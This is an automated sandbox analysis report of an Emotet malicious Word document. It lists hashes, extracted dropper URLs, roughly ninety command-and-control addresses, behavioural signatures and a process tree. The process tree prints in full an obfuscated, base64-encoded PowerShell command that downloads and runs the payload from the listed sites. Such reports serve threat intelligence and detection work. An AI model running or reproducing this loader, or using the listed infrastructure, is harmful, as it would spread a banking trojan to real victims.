emotet | 1734566691dae7d73d5049e9ddde216a3c4d78e20161ae4364e513dc36f21174

General

Target
emotet_e1_1734566691dae7d73d5049e9ddde216a3c4d78e20161ae4364e513dc36f21174_2020-10-02__155841672121._doc.doc
Size 175KB
Sample201002-p85x3bsq8a
SHA256 1734566691dae7d73d5049e9ddde216a3c4d78e20161ae4364e513dc36f21174
MD5 2077934f3f2a194c3f7570adc2302fbc
SHA1 2cf42fb03d29493a20d134e17f7109dfa324f751
SHA512 d1c488fb5cac9197c5c18da642079aed14c0da4821ee3ec4abf4a8e43db87a242adaed3a26b53948b403e09ed3a5228d88eed6cd9f3c97b4f0999d530bdf800c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://bonyanet.com/wp-admin/iR/
exe.dropper
http://ofoghzagros.com/wp-admin/H/
exe.dropper
https://ilinknepal.com/infosysnepal.com/Zdz/
exe.dropper
https://storypostar.com/wp-admin/j/
exe.dropper
https://www.pixelstoryteller.com/hydroplane-definition/wzb/
exe.dropper
https://redchillicrackers.com/wp-content/p/
exe.dropper
http://www.co-traveling.com/cgi-bin/003/

Extracted

Family

emotet

C2

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1552	484	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3724-12-0x0000000000560000-0x0000000000572000-memory.dmp	emotet
behavioral2/memory/3724-13-0x0000000000580000-0x0000000000590000-memory.dmp	emotet
behavioral2/memory/2956-16-0x0000000000760000-0x0000000000772000-memory.dmp	emotet
behavioral2/memory/2956-17-0x00000000005F0000-0x0000000000600000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	1552	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3724	Ibfe8b64.exe
2956	comsvcs.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\nlmsprep\comsvcs.exe	Ibfe8b64.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3044	WINWORD.EXE
3044	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1552	POwersheLL.exe
1552	POwersheLL.exe
1552	POwersheLL.exe
2956	comsvcs.exe
2956	comsvcs.exe
2956	comsvcs.exe
2956	comsvcs.exe
2956	comsvcs.exe
2956	comsvcs.exe
2956	comsvcs.exe
2956	comsvcs.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1552	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3044	WINWORD.EXE
3724	Ibfe8b64.exe
2956	comsvcs.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1552 wrote to memory of 3724	1552	POwersheLL.exe	78
PID 1552 wrote to memory of 3724	1552	POwersheLL.exe	78
PID 1552 wrote to memory of 3724	1552	POwersheLL.exe	78
PID 3724 wrote to memory of 2956	3724	Ibfe8b64.exe	81
PID 3724 wrote to memory of 2956	3724	Ibfe8b64.exe	81
PID 3724 wrote to memory of 2956	3724	Ibfe8b64.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1734566691dae7d73d5049e9ddde216a3c4d78e20161ae4364e513dc36f21174_2020-10-02__155841672121._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3044

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABIAHMAdgBqADYAagBtAD0AKAAoACcASgA5ACcAKwAnAHQAJwApACsAJwBvAHIAJwArACcAXwA5ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAcgBwAHIATwBmAGkAbABlAFwAdQBfADMAeQBCADQAcgBcAGoAMAA0AGEAZwA3AFoAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAGAAVQBSAGAASQB0AHkAUABSAGAATwBUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACcAKQArACcAIAAnACsAJwB0ACcAKwAnAGwAcwAnACkAOwAkAFoAZgBlADcAcgA4ADEAIAA9ACAAKAAoACcASQBiACcAKwAnAGYAZQAnACkAKwAoACcAOAAnACsAJwBiADYAJwApACsAJwA0ACcAKQA7ACQAWgA5ADMAYgAzAHAAZQA9ACgAJwBXACcAKwAoACcAdgAnACsAJwAwAGwAcgAyACcAKQArACcAdAAnACkAOwAkAFAAbQB1AGsAMQA1ADQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcARAAnACsAKAAnAHkAZgBVACcAKwAnAF8AMwB5ACcAKwAnAGIAJwApACsAJwA0AHIAJwArACgAJwBEACcAKwAnAHkAZgBKADAANAAnACkAKwAnAGEAZwAnACsAJwA3ACcAKwAoACcAegBEACcAKwAnAHkAZgAnACkAKQAgAC0AcgBlAHAATABhAEMARQAgACgAWwBDAGgAQQBSAF0ANgA4ACsAWwBDAGgAQQBSAF0AMQAyADEAKwBbAEMAaABBAFIAXQAxADAAMgApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFoAZgBlADcAcgA4ADEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFcAawBlAGoAYwBkAG4APQAoACcARQAnACsAKAAnADEAZQAnACsAJwAxAHUAbgBqACcAKQApADsAJABZAGEAbwBnAHcAbwB1AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAFcAZQBiAEMAbABJAEUAbgB0ADsAJABUAGcAcwB0AHQAdgA3AD0AKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBiAG8AbgB5AGEAbgBlACcAKwAnAHQALgBjAG8AbQAnACsAJwAvAHcAcAAtAGEAZABtACcAKwAnAGkAbgAvAGkAUgAvACcAKQArACcAKgBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvAG8AJwArACcAZgBvACcAKQArACcAZwBoACcAKwAoACcAegBhAGcAJwArACcAcgBvAHMALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwAnACsAJwBIAC8AKgBoAHQAdABwACcAKwAnAHMAJwArACcAOgAvACcAKQArACgAJwAvAGkAJwArACcAbABpACcAKQArACgAJwBuAGsAbgAnACsAJwBlAHAAYQAnACkAKwAnAGwALgAnACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAGkAbgAnACsAJwBmAG8AcwAnACsAJwB5AHMAJwArACcAbgBlAHAAYQAnACkAKwAoACcAbAAuACcAKwAnAGMAJwApACsAJwBvAG0AJwArACgAJwAvAFoAZAB6AC8AKgAnACsAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHMAdABvACcAKwAnAHIAeQBwACcAKwAnAG8AJwApACsAJwBzAHQAJwArACgAJwBhAHIAJwArACcALgBjACcAKQArACcAbwAnACsAJwBtACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAGoALwAnACsAJwAqAGgAdAB0ACcAKQArACcAcABzACcAKwAoACcAOgAvAC8AJwArACcAdwB3AHcAJwArACcALgBwAGkAeABlAGwAcwAnACsAJwB0AG8AcgAnACkAKwAoACcAeQAnACsAJwB0ACcAKwAnAGUAbABsACcAKwAnAGUAcgAuAGMAbwBtAC8AaAB5AGQAcgAnACsAJwBvAHAAbABhAG4AJwApACsAKAAnAGUALQBkAGUAZgAnACsAJwBpAG4AaQAnACsAJwB0AGkAbwBuACcAKwAnAC8AdwB6AGIAJwArACcALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwAHMAOgAnACsAJwAvACcAKwAnAC8AcgBlACcAKwAnAGQAYwBoAGkAbABsACcAKwAnAGkAYwByACcAKQArACgAJwBhAGMAJwArACcAawBlACcAKQArACgAJwByACcAKwAnAHMALgBjAG8AbQAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjACcAKwAnAG8AbgB0AGUAJwArACcAbgB0AC8AcAAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAvAHcAJwArACcAdwB3ACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwAtAHQAJwArACcAcgBhAHYAZQAnACkAKwAoACcAbABpAG4AZwAuAGMAJwArACcAbwBtACcAKwAnAC8AYwAnACsAJwBnACcAKQArACgAJwBpAC0AYgBpAG4ALwAnACsAJwAwADAAMwAnACkAKwAnAC8AJwApAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAbwA2AG0AdgA3AHcAPQAoACgAJwBLACcAKwAnADkAdwBvADAAJwApACsAJwBtADYAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATwBiAHgAOQBkAHkAMQAgAGkAbgAgACQAVABnAHMAdAB0AHYANwApAHsAdAByAHkAewAkAFkAYQBvAGcAdwBvAHUALgAiAEQAYABvAGAAVwBOAEwAbwBgAEEARABGAGkAbABFACIAKAAkAE8AYgB4ADkAZAB5ADEALAAgACQAUABtAHUAawAxADUANAApADsAJABRAHMAYgAzADIAdQA0AD0AKAAoACcATwAxACcAKwAnADcAJwApACsAKAAnAGIAJwArACcAawBvADgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUABtAHUAawAxADUANAApAC4AIgBMAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA5ADgANQAxACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAFAAbQB1AGsAMQA1ADQAKQA7ACQASQB0AGQANwBnAGIAXwA9ACgAJwBRACcAKwAoACcANgBmAHIAJwArACcAMAAnACkAKwAnAGMANQAnACkAOwBiAHIAZQBhAGsAOwAkAFYAZABjAGwAcgA4AGoAPQAoACcAWgAnACsAKAAnADMANgAnACsAJwBhAHUAaAAnACkAKwAnAGEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAGMAeAA0ADIAbwBxAD0AKAAnAEIAJwArACcAZABlACcAKwAoACcAegB5AHAAJwArACcAdgAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1552
- C:\Users\Admin\U_3yb4r\J04ag7z\Ibfe8b64.exe
  "C:\Users\Admin\U_3yb4r\J04ag7z\Ibfe8b64.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\SysWOW64\nlmsprep\comsvcs.exe
    "C:\Windows\SysWOW64\nlmsprep\comsvcs.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1552-6-0x00007FFBBB430000-0x00007FFBBBE1C000-memory.dmp

Download

memory/1552-7-0x0000022A5CEB0000-0x0000022A5CEB1000-memory.dmp

Download

memory/1552-8-0x0000022A5D170000-0x0000022A5D171000-memory.dmp

Download

memory/2956-17-0x00000000005F0000-0x0000000000600000-memory.dmp

Download

memory/2956-16-0x0000000000760000-0x0000000000772000-memory.dmp

Download

memory/3044-4-0x0000015571462000-0x0000015571473000-memory.dmp

Download

memory/3044-5-0x0000015571462000-0x0000015571473000-memory.dmp

Download

memory/3044-0-0x00007FFBC2C00000-0x00007FFBC32C6000-memory.dmp

Download

memory/3044-3-0x0000015571462000-0x0000015571473000-memory.dmp

Download

memory/3044-2-0x0000015571462000-0x0000015571473000-memory.dmp

Download

memory/3044-1-0x00000155714CB000-0x00000155714CE000-memory.dmp

Download

memory/3724-12-0x0000000000560000-0x0000000000572000-memory.dmp

Download

memory/3724-13-0x0000000000580000-0x0000000000590000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads